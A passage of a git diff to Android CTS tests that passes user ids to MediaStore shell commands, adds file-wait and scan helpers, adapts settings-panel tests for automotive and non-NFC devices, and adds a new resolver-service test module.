+        doReturn(res).when(mProvider).openDocumentThumbnail(DOC_RED, size, null);
+        Bitmap bitmap = DocumentsContract.getDocumentThumbnail(mResolver, URI_RED, size, null);
+
+        // A provider may return a thumbnail of a different size, but never more than double the
+        // requested size.
+        assertFalse(bitmap.getWidth() > thumbnailSize * 2);
+        assertFalse(bitmap.getHeight() > thumbnailSize * 2);
+        assertColorMostlyEquals(Color.RED,
+                bitmap.getPixel(bitmap.getWidth() / 2, bitmap.getHeight() / 2));
+
+        // clean up
+        file.delete();
+        bitmap.recycle();
+    }
+
+    private static void writeImage(int width, int height, int color, OutputStream out) {
+        final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Canvas canvas = new Canvas(bitmap);
+        canvas.drawColor(color);
+        bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+    }
+
+    /**
+     * Since thumbnails might be bounced through a compression pass, we're okay
+     * if they're mostly equal.
+     */
+    private static void assertColorMostlyEquals(int expected, int actual) {
+        assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+                Integer.toHexString(actual & 0xF0F0F0F0));
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
index 78df1a9..4a8afe7 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
@@ -168,8 +168,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalAudio,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalAudio,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index 177fddb..ec78a94 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -219,17 +219,14 @@
 
     @Test
     public void testStoreImagesMediaExternal() throws Exception {
-        final String externalPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage.jpg").getAbsolutePath();
-        final String externalPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage1.jpg").getAbsolutePath();
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+                new File(dir, "cts" + System.nanoTime() + ".jpg"));
 
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(externalPath);
-        cleanExternalMediaFile(externalPath2);
+        final String externalPath = file.getAbsolutePath();
+        final long numBytes = file.length();
 
-        int numBytes = 1337;
-        FileUtils.createFile(new File(externalPath), numBytes);
+        ProviderTestUtils.waitUntilExists(file);
 
         ContentValues values = new ContentValues();
         values.put(Media.ORIENTATION, 0);
@@ -240,7 +237,7 @@
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.DATA, externalPath);
-        values.put(Media.DISPLAY_NAME, "testimage");
+        values.put(Media.DISPLAY_NAME, file.getName());
         values.put(Media.MIME_TYPE, "image/jpeg");
         values.put(Media.SIZE, numBytes);
         values.put(Media.TITLE, "testimage");
@@ -268,7 +265,7 @@
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals("testimage.jpg", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
             assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
             assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
             assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
@@ -281,7 +278,7 @@
         } finally {
             // delete
             assertEquals(1, mContentResolver.delete(uri, null, null));
-            new File(externalPath).delete();
+            file.delete();
         }
     }
 
@@ -342,8 +339,9 @@
         }
 
         // Now remove ownership, which means that Exif/XMP location data should be redacted
-        ProviderTestUtils.executeShellCommand(
-                "content update --uri " + publishUri + " --bind owner_package_name:n:",
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         try (InputStream is = mContentResolver.openInputStream(publishUri)) {
             final ExifInterface exif = new ExifInterface(is);
@@ -405,8 +403,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalImages,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalImages,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index fdf46ce3..6a7a1f9 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -31,6 +31,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.database.Cursor;
+import android.media.MediaExtractor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
@@ -234,6 +235,7 @@
             mmr.setDataSource(pfd.getFileDescriptor());
             assertEquals("+37.4217-122.0834/",
                     mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
         }
         try (InputStream in = mContentResolver.openInputStream(publishUri)) {
             byte[] bytes = FileUtils.readInputStreamFully(in);
@@ -248,14 +250,16 @@
         }
 
         // Now remove ownership, which means that location should be redacted
-        ProviderTestUtils.executeShellCommand(
-                "content update --uri " + publishUri + " --bind owner_package_name:n:",
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
                 MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
             mmr.setDataSource(pfd.getFileDescriptor());
             assertEquals(null,
                     mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
         }
         try (InputStream in = mContentResolver.openInputStream(publishUri)) {
             byte[] bytes = FileUtils.readInputStreamFully(in);
@@ -313,8 +317,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalVideo,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalVideo,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index e748360..3e47d15 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -18,6 +18,7 @@
 
 import static android.provider.cts.MediaStoreTest.TAG;
 
+import static com.google.common.truth.Truth.assertWithMessage;
 import static org.junit.Assert.fail;
 
 import android.app.UiAutomation;
@@ -28,6 +29,8 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
 import android.provider.cts.MediaStoreUtils.PendingParams;
@@ -39,6 +42,8 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.Timeout;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
@@ -68,6 +73,8 @@
     private static final Pattern PATTERN_STORAGE_PATH = Pattern.compile(
             "(?i)^/storage/[^/]+/(?:[0-9]+/)?");
 
+    private static final Timeout IO_TIMEOUT = new Timeout("IO_TIMEOUT", 2_000, 2, 2_000);
+
     static Iterable<String> getSharedVolumeNames() {
         // We test both new and legacy volume names
         final HashSet<String> testVolumes = new HashSet<>();
@@ -175,12 +182,29 @@
         executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
     }
 
+    /**
+     * Waits until a file exists, or fails.
+     *
+     * @return existing file.
+     */
+    public static File waitUntilExists(File file) throws IOException {
+        try {
+            return IO_TIMEOUT.run("file '" + file + "' doesn't exist yet", () -> {
+                return file.exists() ? file : null; // will retry if it returns null
+            });
+        } catch (Exception e) {
+            throw new IOException(e);
+        }
+    }
+
     static File stageDir(String volumeName) throws IOException {
         if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
             volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
         }
-        return Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
+        File dir = Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
                 "android.provider.cts");
+        Log.d(TAG, "stageDir(" + volumeName + "): returning " + dir);
+        return dir;
     }
 
     static File stageDownloadDir(String volumeName) throws IOException {
@@ -194,10 +218,11 @@
     static File stageFile(int resId, File file) throws IOException {
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
-        if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        if (userManager.isSystemUser() &&
+                    FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
-
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
@@ -215,13 +240,12 @@
             if (!dir.exists()) {
                 throw new FileNotFoundException("Failed to create parent for " + file);
             }
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (InputStream source = context.getResources().openRawResource(resId);
                     OutputStream target = new FileOutputStream(file)) {
                 FileUtils.copy(source, target);
             }
         }
-        return file;
+        return waitUntilExists(file);
     }
 
     static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
@@ -243,11 +267,15 @@
     }
 
     static Uri scanFile(File file) throws Exception {
-        return MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+        Uri uri = MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+        assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+        return uri;
     }
 
     static Uri scanFileFromShell(File file) throws Exception {
-        return MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+        Uri uri = MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+        assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+        return uri;
     }
 
     static void scanVolume(File file) throws Exception {
@@ -321,8 +349,9 @@
     }
 
     public static File getRawFile(Uri uri) throws Exception {
-        final String res = ProviderTestUtils.executeShellCommand(
-                "content query --uri " + uri + " --projection _data",
+        final String res = ProviderTestUtils.executeShellCommand("content query --uri " + uri
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --projection _data",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         final int i = res.indexOf("_data=");
         if (i >= 0) {
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 3327390..e80e393 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
 package android.provider.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
 import android.content.Intent;
@@ -27,6 +28,8 @@
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -36,6 +39,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+
 /**
  * Tests related SettingsPanels:
  *
@@ -47,11 +52,11 @@
 
     private static final int TIMEOUT = 8000;
 
-    private static final String SETTINGS_PACKAGE = "com.android.settings";
     private static final String RESOURCE_DONE = "done";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
 
+    private String mSettingsPackage = "com.android.settings";
     private String mLauncherPackage;
 
     private Context mContext;
@@ -68,6 +73,10 @@
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
         mLauncherPackage = packageManager.resolveActivity(launcherIntent,
                 PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            mSettingsPackage = "com.android.car.settings";
+        }
     }
 
     @After
@@ -84,7 +93,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -93,7 +102,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -102,7 +111,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -111,43 +120,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-    }
-
-    @Test
-    public void internetPanel_correctTitle() {
-        launchInternetPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
-    }
-
-    @Test
-    public void volumePanel_correctTitle() {
-        launchVolumePanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Volume");
-    }
-
-    @Test
-    public void nfcPanel_correctTitle() {
-        launchNfcPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("NFC");
-    }
-
-    @Test
-    public void wifiPanel_correctTitle() {
-        launchWifiPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Wi\u2011Fi");
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -155,15 +128,15 @@
         // Launch panel
         launchInternetPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -171,15 +144,15 @@
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -187,15 +160,15 @@
         // Launch panel
         launchNfcPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -203,15 +176,15 @@
         // Launch panel
         launchWifiPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -219,16 +192,16 @@
         // Launch panel
         launchInternetPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -237,16 +210,16 @@
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -255,16 +228,16 @@
         // Launch panel
         launchNfcPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -273,16 +246,16 @@
         // Launch panel
         launchWifiPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -295,6 +268,7 @@
     }
 
     private void launchNfcPanel() {
+        assumeTrue("device does not support NFC", RequiredServiceRule.hasService("nfc"));
         launchPanel(Settings.Panel.ACTION_NFC);
     }
 
@@ -313,6 +287,6 @@
         mContext.startActivity(intent);
 
         // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
     }
 }
diff --git a/tests/tests/resolverservice/Android.bp b/tests/tests/resolverservice/Android.bp
new file mode 100644
index 0000000..36bac13
--- /dev/null
+++ b/tests/tests/resolverservice/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsResolverServiceTestCases",
+    sdk_version: "system_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "truth-prebuilt"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
diff --git a/tests/tests/resolverservice/AndroidManifest.xml b/tests/tests/resolverservice/AndroidManifest.xml
new file mode 100644
index 0000000..d52f3db
--- /dev/null
+++ b/tests/tests/resolverservice/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.service.resolver.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.service.resolver.cts"
+        android:label="CTS tests of android.service.resolver">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml
new file mode 100644
index 0000000..ee0cc8c
--- /dev/null
+++ b/tests/tests/resolverservice/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS resolver service test cases">
+
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsResolverServiceTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.service.resolver.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/resolverservice/OWNERS b/tests/tests/resolverservice/OWNERS
new file mode 100644
index 0000000..4b9c5eb
--- /dev/null
+++ b/tests/tests/resolverservice/OWNERS
@@ -0,0 +1,4 @@
+ # Bug component: 24950
+kanlig@google.com
+patb@google.com
+chiuwinson@google.com
\ No newline at end of file
diff --git a/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java b/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java
new file mode 100644
index 0000000..015f877
--- /dev/null
+++ b/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.service.resolver.cts;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertThat;
+
+import android.os.Parcel;
+import android.service.resolver.ResolverTarget;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link ResolverTarget}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ResolverTargetTest {
+
+    @Test
+    public void sanityCheckDataConsistency() throws Exception {
+        ResolverTarget target = new ResolverTarget();
+
+        target.setChooserScore(1.0f);
+        assertThat(target.getChooserScore(), is(1.0f));
+
+        target.setLaunchScore(0.5f);
+        assertThat(target.getLaunchScore(), is(0.5f));
+
+        target.setRecencyScore(0.3f);
+        assertThat(target.getRecencyScore(), is(0.3f));
+
+        target.setSelectProbability(0.2f);
+        assertThat(target.getSelectProbability(), is(0.2f));
+
